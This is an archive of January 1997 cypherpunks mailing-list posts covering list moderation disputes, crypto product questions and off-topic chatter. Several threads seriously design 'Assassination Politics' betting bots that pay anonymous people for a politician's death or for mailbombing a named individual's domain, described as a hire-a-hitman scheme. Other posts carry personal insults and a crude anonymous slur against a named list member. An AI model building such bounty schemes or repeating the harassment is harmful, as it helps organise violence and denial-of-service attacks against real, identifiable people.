Date: Sun, 26 Jan 1997 17:30:33 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Rejection policy of the Cypherpunks mailing list
Message-ID: <8Z161D74w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


paul@fatmans.demon.co.uk writes:
>
> > > > My perfectly crypto-relevant article regarding possible attacks
> > > > on human relationships with the use of forged mail and anonymous
> > > > remailers, has been tossed out (sorted) into cypherpunks-flames
> > > > mailing list.
> > >
> > > I don`t think I read the article (even though I subscribe to the
> > > unmoderated list), can you forward me a copy.
> > > As I understand it though, from other comentaries, it was junked
> > > because it was in response to a message by Dimitri who, given that it
> > > is Sandy that is moderating the list, is no doubt filtered by
> > > different criteria than anyone else on the list, in my opinion a
> > > censorous and fascist restraint as Dimitri has recently been posting
> > > more crypto relevant material, besides which whatever the content of
> > > his posts they should be open to review before a decision is made on
> > > if they are to be junked or not.
> >
> > Has Paul reversed his previous pro-censorship stand and decided to
> > learn something about crypto from people who actually know some?
>
> There is no change of stance needed, I happen to believe you are
> knowledgable about cryptography and sometimes post worthwhile
> commentary and information, however, you also post a lot of dreck and
> flammable material which means I respond in kind. That does not mean
> I believe you, or anyone else, should be censored.

I distinctly recall how Paul used to call for censoring me. If he's
changed his mind and really doesn't think that anyone should be censored,
it's a welcome development - even if it was brought on by the sandfart
censoring Paul.

> > > > Sandy also states rather plainly that crypto-relevance is not the
> > > > criterion by which he moderates this list. I question this policy.
> > >
> > > Yes Sandy, please enlighten us, what is the criterion you use to
> > > moderate the list if not crypto-relevancy. I suspect an element of
> > > self preservation and protection of the list fuhrer and diktat maker
> > > John Gilmore (who, until the disgraceful incident with Dimitri
> > > commanded some respect on this list).
> >
> > I used to respect Gilmore until this series of incidents (unsubscribing
> > me, turning list moderated).  Now I only have disdain for him.
>
> I agree entirely, Gilmore was a respected man (despite the EFF being
> a corporate whore) who threw any respect and admiration others had
> for him away.

I wonder what he thinks he got in exchange...

> > > > I would like to hear your opinions as to whether such policies satisfy
> > > > the current readership.
> > >
> > > I don`t think this is the point, John Gilmore is free to appoint
> > > whoever he wants to moderate his list, he is free to censor all
> > > messages which criticise him and his censorship, however, subscribers
> > > to the list should be told they are being censored on these grounds
> > > and not on some facade of "crypto relevancy" or another thin veil
> > > drawn weakly over content based censorship to protect a certain class
> > > of list members.
> >
> > Quite a few people have expressed interest in re-creating an unmoderated
> > cypherpunks list at another site if Gilmore decided to stick to his
> > "moderation experiment".
>
> I notice and appreciate the quotes around "moderation experiment",
> this is, without doubt, a permenant measure to silence members of the
> list who dare to offer criticism of anyone an element of {x: x a
> friend or co-censor of John Gilmore}

Yes - clearly the personality of the submitter is the most important
factor in moderator's rejections, not even the content.

> I do not have the resources to run such an unmoderated list but I
> hope someone on this list does and is good enough to start such a
> list, cypherpunks is a shell of what it once was.

I notice that the sandfart has been challenging his enemies to create
an alternative mailing list. I wonder what their contingency plan is.
Without a doubt, such a competing list would be mailbombed and flooded
with garbage by Gilmore and his entourage. What else?

> Also, please note this message will be junked onto cypherpunks-flames
> even though it contains no flames or flame bait because it dares to
> criticise the censorship of the list (once again Sandy, I give you an
> opportunity to prove me wrong).

The sandfart has proven me right already. As I said, I think we're
paying too much attention to him and his censorship, and he's just
a front for Gilmore anyway.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Howard Campbell <woody@hi.net>
Date: Sun, 26 Jan 1997 22:07:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: re: fighting the cybercensor
Message-ID: <199701270611.UAA04805@pohaku.hi.net>
MIME-Version: 1.0
Content-Type: text/plain






A recent publication "The Sovereign Individual"('97) discusses many of the issues discussed on Cypherpunks. The authors, James Dale Davidson and Lord William Rees-Mogg, sketch the likely totalitarian  scenarios that will emerge in the coming years. Just as we see every day in the media, they predict that we ain't seen nothing yet when it comes to the attempts to regulate cyberspace, cryptography,  and the content of online information. Portraying cellular phone triangulation as a public health concern, etc.,  are just the beginning. 
The authors also  paint a bleak picture for blanc's  'True Believer' types. They will continue to be milked "as a farmer milks his cows" while those with  techno-savvy and  'extranational' savoir faire will  grow wings and take their wealth and marketable skills to other jurisdictions where predatory taxmen and arbitrary civil forfeiture laws don't exist. 
The book is sort of Toffleresque, but written better and full of historical parallels that help the reader to understand social upheavals of the past and  how the demise of failing contemporary institutions are likely to affect Joe windowz95. 
Example: chapter 4- "The Last Days of Politics: Parallels Betwen the Senile Decline of the Holy Mother Church and the Nanny State".

aloha,
wc




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 26 Jan 1997 17:40:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <199701270039.SAA01662@manifold.algebra.com>
Message-ID: <qN261D76w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


cypherpunks-errors@toad.com writes:

> Dale Thorn wrote:
> > 1. The subscribers have spoken by staying put, or,
> > 2. The subscribers are so lazy and unaware of what's going on that
> >    they've just left things as is.
>
> > Now, in my opinion, we've come to this:  Some people here will hold
> > the optimistic view of the bulk of the subscribers, and others will
> > hold the pessimistic view (the bulk will presumably be in-between).
>
> In case of 2, they are probably not worthy of your help.

I wholeheartedly agree.  By now everyone's painfully aware that there
are 3 mailing lists.  It's not my responsibily (or Dale's) to encourage
cypherpunks subscribers to do what I think is best for them - resubscribe
to cypherpunks-unedited.  Folks who choose to let Sandy choose what they
read and don't read should be free to do that.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: satan_is_a_hacker@juno.com (Lou Zer)
Date: Sun, 26 Jan 1997 17:22:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: Text files
Message-ID: <19970126.202040.12382.0.SATAN_is_a_HACKER@juno.com>
MIME-Version: 1.0
Content-Type: text/plain


ho was the one who wanted a list of my texts? I deleted the message
accidentally




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 26 Jan 1997 18:00:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Text files
In-Reply-To: <19970126.202040.12382.0.SATAN_is_a_HACKER@juno.com>
Message-ID: <uV261D77w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


satan_is_a_hacker@juno.com (Lou Zer) writes:

> ho was the one who wanted a list of my texts? I deleted the message
> accidentally

Just post it to the whole mailing list. :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 26 Jan 1997 18:00:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: RE: Fighting the cybercensor
In-Reply-To: <199701270100.RAA21027@mail.pacifier.com>
Message-ID: <Vw261D78w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


jim bell <jimbell@pacifier.com> writes:
>
> Look, I've proposed what I consider to be a remarkably consistent method to
> prevent the kind of political tyranny that you criticize, and I don't see
> any recognition of this fact.

I said many times that I find AP a very interesting notion, worthy of study.
Given how fast online gambling is growing, how soon do we have to wait for
a web site for taking bets on deaths of politicians and other prominents?
Why not set one up, using "funny money" not convertible to anything?

> For the benefit of the masses, the AP ("Assassination Politics") solution
> to, for example, the Iraq problem would be to allow anyone and everyone in
> the world to donate money towards the death of Saddam Hussein, and any
> leadership which survives him, until that leadership satisfies the public
> that they won't be following in Hussein's footsteps.  Simple.  Economical.
> And, dare I say it, fair.

I have much respect for Saddam Hussein. I understand he's more admired by
Iraqi people than, say, the kkklintons are by American people. Saddam even
commands the respect of his Iranian enemies.

> I believe that the Coalition spent $60 BILLION dollars doing the Iraq war,
> and they didn't even get rid of Saddam.  I'm sure AP would have done the
> task for under $100 million, and possibly far less. (and that money would
> have been collected by donation, not stolen in taxes.  Much of that money
> would have come from the Iraqi people themselves, BTW.)

I doubt that they would collect much among the Iraqis: both because Saddam
is pretty popular, and because they don't have much cash, thanks to the
sanctions. I doubt they'd collect billions or even millions in the Western
countries. These were involuntary taxes. Do people really hate Saddam so
much as to bet that he'll live and hope to lose their bets to an assassin?
I doubt it. And you can't do the standard fundraising trick of collecting
some funds, then using them to run media ads soliciting more funds.

I suppose Kiwaiti and Saudi sheikhs might bet a few million.

(I hate these guys - I'd like to bet on the continuing existence of a
basket of sheikhs :-)

>  There would be few if any civilian casualities, no hunger or poverty caused
> among the people.  Even their soldiers would be relatively unaffected,
> except that their militaries (as well as ours) would be disbanded.
>
> Reminds me of the punchline to that joke.
>
> "He sent two boats and a helicopter!  What more did you want?!?"

Was it really Bush's goal to topple Saddam's government and bring in
a U.S.-friendly one that would need billions of dollars of aid?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nurdane Oksas <oksas@asimov.montclair.edu>
Date: Sun, 26 Jan 1997 17:31:08 -0800 (PST)
To: "Igor Chudov @ home" <ichudov@algebra.com>
Subject: Re: overview.htm (fwd)
In-Reply-To: <199701270041.SAA01716@manifold.algebra.com>
Message-ID: <Pine.SOL.3.93.970126202135.24614A-100000@pegasus.montclair.edu>
MIME-Version: 1.0
Content-Type: text/plain




On Sun, 26 Jan 1997, Igor Chudov @ home wrote:

> Nurdane Oksas wrote:
> > 	i think it's good also to exercise outdoors as well as your
> > 	indoor nordictrack machines..sun and air is esp. necessary;
> 
> but remember, tanning will kill ya.
	
	Yes it will; Not a fan of tanning myself...it also causes lots
	of skin problems, have seen women age too soon tanning;

	we don't go outside naked here in NorthEast...do remember;


	love,

	oksas!	
	





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Frank Willoughby <frankw@in.net>
Date: Sun, 26 Jan 1997 17:35:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: WinKrypt
Message-ID: <9701270133.AA20096@su1.in.net>
MIME-Version: 1.0
Content-Type: text/plain


Out of curiosity, is anyone familiar with WinKrypt by Syncronsys?

I picked up a copy & there is no mention in the documentation which
encryption algorithm it uses & what the key lengths are. FWIW, my 
impression is that the documentation seems to deliberately avoid
mentioning the algorithm/key lengths.  Hmmmm.  (food for thought)

I was curious how it compares to McAfee's PC Crypto which uses 
40-bit DES or 160-bit Blowfish (user-chooses) & other PC/laptop
encryption products.  BTW, I would also appreciate your input 
on any crypto products which you believe to be robust, easy-to-use 
& secure.  (I know I can only have 2 out of 3, but it's worth a try 
anyway).  8^)  

Please send marketing info to me directly at: frankw@in.net and 
**NOT** to the entire mailing list.

(BTW, I mentioned WinKrypt & PCcrypo because they are the only
two which are available at many computer stores as COTS s/w).

TIA for your help.

Best Regards,


Frank





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Minow <minow@apple.com>
Date: Sun, 26 Jan 1997 20:44:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: Xerox is watching you
Message-ID: <v03010d01af11df1ebe38@[17.219.102.18]>
MIME-Version: 1.0
Content-Type: text/plain


You'll find an article worth a visit to the dentist in the January
1997 issue of Popular Science. It tells a story from the 1960's
cold war era.

It seems that the only American who could get into the Soviet
Embassy was the Xerox repairman. So the CIA and Xerox built
a camera that took a picture of every copy that could be installed
inside the 914 cabinet (where it would be invisble). Once a month,
the repairman came by to do the ordinary cleaning and repair
(those things broke down a lot). Part of the repair process exchanged
the camera for a fresh load. The CIA could then read everything that
was copied.

The article suggests that other Xerox models had their own
cameras. My back of the envelope (literally) computation suggests
that one roll of 8-millimeter film would hold about 30,000 images.

Martin Minow
minow@apple.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 26 Jan 1997 19:33:47 -0800 (PST)
To: Ross Wright <rwright@adnetsol.com>
Subject: Re: (Fwd) Just Say No to Telcom "Reform"
In-Reply-To: <199701270100.RAA01704@adnetsol.adnetsol.com>
Message-ID: <32EC30E2.625D@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Ross Wright forwarded:
 
> President Clinton and Congress promised the American people that
> enactment of the Telecommunications Reform Act would lead to a
> cornucopia of technological innovations that would change the nation's
> cultural frontiers, expand our choices, dazzle our eyes, and inform
> our minds.  Instead, we've been censored in cyberspace, subjected to
> TV ratings systems, and prevented from experiencing the benefits of a
> truly competitive marketplace by the emergence of "cartels" created by
> mega-mergers in the telecommunications and media industries.

  Surprise, surprise!
 
> This is not reform!  And it's not too late to demand that our decision
> makers deliver on what they promised us on February 8, 1996:

  Yes it is.
  Nobody in politics gives up the ground they've gained. The fact that
they were able to hose the citizens the first time around only 
reinforces their certainty that they can continue to do so.
  While people are still fighting the earlier, lost battles, they are
preparing for the next one.
  I fully support anyone who wants to continue to fight past battles,
present battles, and future battles, on the level of surface politics.
But I think that their efforts are most effective if they add the
tools and weapons developed by the underground to their battles.
  Let them know that if they want to censor you, they will have to
censor your 'strong' crypto. Even if you choose to fight by showing
up with your gun on your hip, at high-noon, it still doesn't hurt to
have one tucked in your boot, as well.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 26 Jan 1997 19:35:33 -0800 (PST)
To: dthorn@gte.net
Subject: Re: Fighting the cybercensor
In-Reply-To: <01BC0B90.0B78E600@king2-16.cnw.com>
Message-ID: <32EC38BC.5511@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn wrote:
 
> How does one country get on top and terrorize the whole world?  By
> following Tom Wolfe's intimation concerning the pirates: "The people
> on the East coast were constantly victimized because they couldn't
> comprehend just how vicious and ruthless the pirates really were"
> (quote approximate).

Dale,
  When I read posts like this, I wonder how any rationally thinking
person can possibly believe that socio/politico concerns have no
place in the discussion of crypto.
  It is my belief that many of the more atrocious acts being performed
against the citizens by various governments are made possible by the
fact that there are so few people who recognize a 'pirate' when they
see one.
  While I appreciate that there are those who may be furthering the
cause of crypto, privacy and freedom through official channels, the
controlled media, and such, there needs to be a forum in which 
people are free to use what they consider to be the 'correct'
terminology to refer to those who have usurped democracy in order
to control the citizens for their own personal profit.
  i.e. 'Pirates'

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 26 Jan 1997 19:19:07 -0800 (PST)
To: dthorn@gte.net
Subject: Re: overview.htm (fwd)
In-Reply-To: <32EC1422.6E70@gte.net>
Message-ID: <199701270315.VAA00323@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dale Thorn wrote:
> 
> BTW, if y'all can't stay away, I have a list of So. Cal. nude beaches,
> approx. 3 years old.
> 

would appreciate

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 26 Jan 1997 19:23:03 -0800 (PST)
To: oksas@asimov.montclair.edu (Nurdane Oksas)
Subject: Re: overview.htm (fwd)
In-Reply-To: <Pine.SOL.3.93.970126215505.25337B-100000@pegasus.montclair.edu>
Message-ID: <199701270316.VAA00352@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Nurdane Oksas wrote:
> 	California is know for very beautiful girls ... 

wrong.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 26 Jan 1997 19:30:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fighting the cybercensor
In-Reply-To: <199701270207.UAA00452@manifold.algebra.com>
Message-ID: <TF561D82w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:
>
> Jim, why don't you stop bullshitting and write a real assassination
> bot. [as a beta, it can be a mailbombing bot] This bot would:

I think this would be a very good demo project, but mailbombing may not
be the best choice...

> 1) Accept bets as combinations of
> 	a) Some amount of cybercash

Be careful about violating Chaumian patents... How about using funny
money in the prototype? Or, look at some of the micropayment schemes.

> 	b) A string that identifies an event that should happen
> 	   such as "domain X is mailbombed"

Not a good idea (see below).

> 	c) [optional] date of that event (no date means that you always
>            lose)

I think the date must always be specified, and the event must occur
(or not occur) on or before that date.

> 	d) Return address (possibly a nym address) to send
> 	   all cash from UNSUCCESSSFUL bets for the event in
> 	   question.
> 	e) [optional] time limit after which the cash will be refunded.
>
> Note that for simplicity, the bot should identify the event as
> a unique string, without any understanding of any semantics of that
> string.

I think we should think about the kinds of events that a 'bot can verify.

> 2) Store these bets in a database.
>
> 3) Have a trusted party (someone really honest, like myself) report to
> the bot the signed strings that, in the opinion of the trusted party,
> are "true".

Why not start with a less destructive event... For example,
"on or before <date> a Usenet article will appear in newsgroup X
saying Y".  That's something the 'bot can verify and anyone with
access to dejanews and the like can confirm. Eliminating the need
for a trusted human is always desirable.

> 4) Upon receipt of such event notifications, the bot will find all bets
> and forward them to the better whose date prediction was the closest.
> If several betters predicted the same date, the money is split between
> them in proportion to the amount of moneys submitted.

Have you ever dealt with a bookie?

I think there need to be two distinct operations:

1. A user can create a new kind of event. For a fixed fee F, one can enter
a new event into the table of events that can be bet on. (In a more
generalized system, the creator might also specify the third party that
determines whether or not the event took place.)

A human bookie decides which events can be bet on (based mostly on the
tradition and supply/demand). Here we let users bet on anything they
want as long as they're willing to may be bookiebot for keeping track
of who bet how much $ that the event will or will not happen.

In fact, when creating an event, the user must immediately bet an amount
>$F and the house enters an opposing bet for $F (or slightly less).

2. A user can bet $B that an existing event will/will not happen.
Bookiebot accepts the $B and promises to pay back an amount that's a
function of $B and the current amounts bet so far on yes and no
(or escrows the winning with a 3rd party).

I'll let Jim et al figure out how to compute the odds when there are
offsetting bets for the same event at two different times.
E.g. E1:"Saddam Hussen will die before April 1" and E2:"ditto June 1"; if the
first one occurs, then the second one occurs too. If a lot of money is
bet on E1, it should somehow affect E2 odds too. Also the bookiebot
should never lose money no matter what the outcome; all the winnings
should come from the losers' bets.

> Examples of use: Suppose I do not like The Right Reverend Colin James III,
> cjames@cec-services.com. I have a lot of money, but do not know how to
> mailbomb. I set some nym address as my return address (for refunds if
> CJ3 is not mailbombed within half a year).
>
> I place a bet with $1000 worth of money and phrase "domain cec-services.com
> disabled". The date would be open which means that I will always be the
> loser. I also post a message (anonymously) saying that anyone who wants
> to mailbomb TRRCJ3 can be rewarded through your assassination bot.

Here's an improved scenario. Say I pay the bot $10 to create the event
"a homophobic article will appear in soc.motss by April 1".
Then I bet $1000 that the event will NOT occur to skew the odds.

> Someone with more knowledge of computers, a T1 link and no money will
> be lured, submit a bet for, say, Feb 1, and on the 1st will start fierce
> mailbombing of cec-services.com. The return address will, of course, be
> a nym.

Someone looking to make a quick buck browses through the list of events
and odds in the bookiebot and sees the very skewed odds for a homophobic
article on soc.motss. He bets a small amount that the article will appear,
so he gets really good odds. Then he posts an article that's recognized
as the event, and collects a winning much larger than his bet.

But if this doesn't happen, I get almost all of my $1000 investment back.
In either event the bookiebot made a small profit for its owner.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@holy.cow.net>
Date: Sun, 26 Jan 1997 18:48:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199701270230.VAA08735@holy.cow.net>
MIME-Version: 1.0
Content-Type: text/plain


The only `culture' Timothy `C' May 
possesses is that cultivated from his 
foreskin scrapings.

            o      o o o   o
           /~>    <><><>   <> Timothy `C' May
        o...(\    ||||||   ||





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nurdane Oksas <oksas@asimov.montclair.edu>
Date: Sun, 26 Jan 1997 18:31:41 -0800 (PST)
To: "Igor Chudov @ home" <ichudov@algebra.com>
Subject: Re: Fighting the cybercensor
In-Reply-To: <199701270207.UAA00452@manifold.algebra.com>
Message-ID: <Pine.SOL.3.93.970126212732.25337A-100000@pegasus.montclair.edu>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 26 Jan 1997, Igor Chudov @ home wrote:
[...] 
> Examples of use: Suppose I do not like The Right Reverend Colin James III,
> cjames@cec-services.com. I have a lot of money, but do not know how to 
> mailbomb. I set some nym address as my return address (for refunds if
> CJ3 is not mailbombed within half a year).
> 
> I place a bet with $1000 worth of money and phrase "domain cec-services.com
> disabled". The date would be open which means that I will always be the
> loser. I also post a message (anonymously) saying that anyone who wants
> to mailbomb TRRCJ3 can be rewarded through your assassination bot.
> 
> Someone with more knowledge of computers, a T1 link and no money will
> be lured, submit a bet for, say, Feb 1, and on the 1st will start fierce 
> mailbombing of cec-services.com. The return address will, of course, be
> a nym.

	That's my birthday...

	have a great week ahead everyone!







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nurdane Oksas <oksas@asimov.montclair.edu>
Date: Sun, 26 Jan 1997 18:59:11 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: overview.htm (fwd)
In-Reply-To: <32EC1422.6E70@gte.net>
Message-ID: <Pine.SOL.3.93.970126215505.25337B-100000@pegasus.montclair.edu>
MIME-Version: 1.0
Content-Type: text/plain




On Sun, 26 Jan 1997, Dale Thorn wrote:

> Nurdane Oksas wrote:
> > On Sun, 26 Jan 1997, Igor Chudov @ home wrote:
> > > Nurdane Oksas wrote:
> > > >     i think it's good also to exercise outdoors as well as your
> > > >     indoor nordictrack machines..sun and air is esp. necessary;
> 
> > > but remember, tanning will kill ya.
> 
> >         Yes it will; Not a fan of tanning myself...it also causes lots
> >         of skin problems, have seen women age too soon tanning;
> >         we don't go outside naked here in NorthEast...do remember;
> 
> The real babes in So. Cal. go to tanning salons. That way the evenly-
> distributed tan looks best with, say, a pure white bikini.  You can
> go to the beach, of course, and hang out with the hoi polloi, but
> it's mostly kids with pimples and stuff.

	i don't see why she would wear a bikini if she already is tan.
	She just goes to show off right???  California is know for
	very beautiful girls ... 
	I like the pale look :)
> 
> BTW, if y'all can't stay away, I have a list of So. Cal. nude beaches,
> approx. 3 years old.

	only if you join us .. ;)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 26 Jan 1997 20:07:07 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: Assination
In-Reply-To: <TN861D86w165w@bwalk.dm.com>
Message-ID: <199701270404.WAA00777@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dr.Dimitri Vulis KOTM wrote:
> Dale Thorn <dthorn@gte.net> writes:
> > > Given how fast online gambling is growing, how soon do we have to wait for
> > > a web site for taking bets on deaths of politicians and other prominents?
> > > Why not set one up, using "funny money" not convertible to anything?
> >
> > If AP could really work, and AP is enabled by strong p-k crypto,
> > that fact alone would justify the Washington boys doing *everything*
> > in their power to stop *real* crypto (i.e., no back doors).
> 
> But they can't; and their efforts (ITAR, EAR, et al) are totally irrelevant
> and ineffective and not worth the time people spend fighting them.
> 
> A prototype AP betting server, first limited to very innocent events (like
> usenet postings containing certain regexps) and using "funny money" for bets,
> would be a good demo.

I have a feeling that you are missing the point. The point of AP 
is not to bet on whether a certain event will occur or not. The point 
is that only a person who really makes it happen (assassinates someone)
will know enough to get the money.

All other betters who do NOT intend to bring the event about will
expect to lose money, because they will not be able to make a
sufficiently good prediction.

It is not a bookie system, it is a collective anonymous hire-a-hitman 
scheme.

Yuor suggestion about trying a demo about homophobic posts is good, BUT
what needs to be added to make it a good demo is a danger for the poster
to lose an account. I.e., the requirement to such a homophobic post should
be that 1) it should be PGP signed by a real person and 2) it should 
have a correct return address.

Any fool can send an anonymous message, and that would have no 
educational value and no value for the AP demo.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 26 Jan 1997 20:14:49 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: Re: Jim Choate Speaks Out on My Part of the Net (fwd)
In-Reply-To: <199701270430.WAA02102@einstein>
Message-ID: <199701270410.WAA00864@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Jim Choate wrote:
> 
> 
> Forwarded message:
> 
> > Date: Sun, 26 Jan 1997 20:07:57 -0800
> > From: Toto <toto@sk.sympatico.ca>
> > Subject: Jim Choate Speaks Out on My Part of the Net
> > 
> > Jim Choate wrote:
> 
> > > If you really and truly believe that the net belongs to everyone and nobody
> > > has a right to limit or otherwise control the hardware and software along
> > > with the associated comm links they own and pay for then you obviously don't
> > > understand what is going on.
> 
> > > For instance, since Toto pays for the hardware and software that comprises
> > > his part of the net, he is free to limit, control, and edit for content,
> > > anything that passes through his part of the net.
> > > Although I sometimes disagree with Toto because of my limited ability to
> > > understand things on a conceptual level, his rugged good looks, charm,
> > > and superior intelligence show that he should be allowed to control his
> > > own privately owned part of the net and anything that passes through it.
> > 
> > >                                                  Jim Choate
> > >                                                  CyberTects
> > >                                                  ravage@ssz.com
> > 
> > Jim,
> >  Thank you for your support in my efforts to exert supreme control over
> > the part of the net that I have paid for.
> >  I am sure that you will continue to fight for the right of myself and
> > the government of Singapore to use that control for whatever purpose
> > they choose.
> >  As you can see above, I have enhanced your posting so that it more
> > closely conforms to the beliefs that my paid-for part of the net was
> > set up to espouse.
> 
> Are you aware that attributing statements in print to a party when that
> party did not write them is a crime?

cite the statute

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 26 Jan 1997 21:12:42 -0800 (PST)
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Re: Internet, Countries, Nationalism, etc.
In-Reply-To: <199701261751.LAA00526@einstein>
Message-ID: <32EC4818.6055@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate wrote:

> You can take a horse to water, you can't make him drink. You can drown him
> however. Then you are walking, not riding.

  Thanks for clearing this up for us, Jim.
  I know that a lot of CypherPunks have been wondering about this,
and many others as well. Hopefully, it will be posted on many
conferences to enlighted others, as well.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Sun, 26 Jan 1997 22:52:51 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: Fighting the cybercensor
Message-ID: <01BC0BDC.334C99A0@king1-05.cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	jim bell (in response to Dimitri Vulis')

Look, I've proposed what I consider to be a remarkably consistent method to 
prevent the kind of political tyranny that you criticize, and I don't see
any recognition of this fact.
........................................................

1) Jim, why do you insist on discussing this on an forum for encryption?
2) Why do you suppose the Iraqis haven't already thought of doing this 
themselves?
3) The Mafia uses this method all the time - why then haven't they achieved 
a more rational society among themselves?
4) Weren't governments (like the U.S.) instituted to prevent this sort of 
thing (even if they don't work out as expected)? i.e., there were systems 
of courts and lawyers and such instituted to openly deal with "criminal" 
activity so that a) people could receive assistance against low-life 
degenerate killers, and b) it could be proven that the accused were indeed 
deserving of punishment.

Humans being what they are, this hasn't worked like it's supposed to, but 
the point is that there is a reason why such ideas for systems of justice 
were introduced in the first place.   That reason, as I eloquently read in 
a book, was "So That Reason May Live".  That is, so that people who choose 
to live in a "society" may do so by the method of solving problems through 
the application of intelligence, rather than merely knocking each other off 
because a voting majority decides they don't like someone.

Destructive people often ascend to positions of power not simply because 
they are ruthless, but because they have 1) many sycophantic followers and 
2) many ignorant, vulnerable people unable to prevent it.  You might be 
able to kill off  one Saddam, but potentially many others would be waiting 
in the wings to take his place.   The situation surrounding the existence 
of someone like Saddam is part of the contributing factors which keeps him 
there, not simply that one man himself.  It was the same with Hitler and 
with so many others  -  they don't just have an excess of  "power" 
concentrated within themselves which puts them in positions of control over 
others  - there will have been many people who will have helped put them 
there, expecting to derive benefits from it.

And what will be done about all those people who made this "power" 
possible?  You don't just kill the one man and be done with it - you have 
to also "kill" the conditions which maintained him.

    ..
Blanc






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Sun, 26 Jan 1997 22:53:29 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: Jim Choate Speaks Out on My Part of the Net
Message-ID: <01BC0BDC.389300C0@king1-05.cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	Toto

Jim Choate wrote:
> For instance, since Toto pays for the hardware and software that comprises
> his part of the net, he is free to limit, control, and edit for content,
> anything that passes through his part of the net.

> Although I sometimes disagree with Toto because of my limited ability to
> understand things on a conceptual level, his rugged good looks, charm,
> and superior intelligence show that he should be allowed to control his
> own privately owned part of the net and anything that passes through it.
..........................................................


I believe it, Jim.

   ..
Blanc







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 26 Jan 1997 19:52:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Rejection policy of the Cypherpunks maiing list
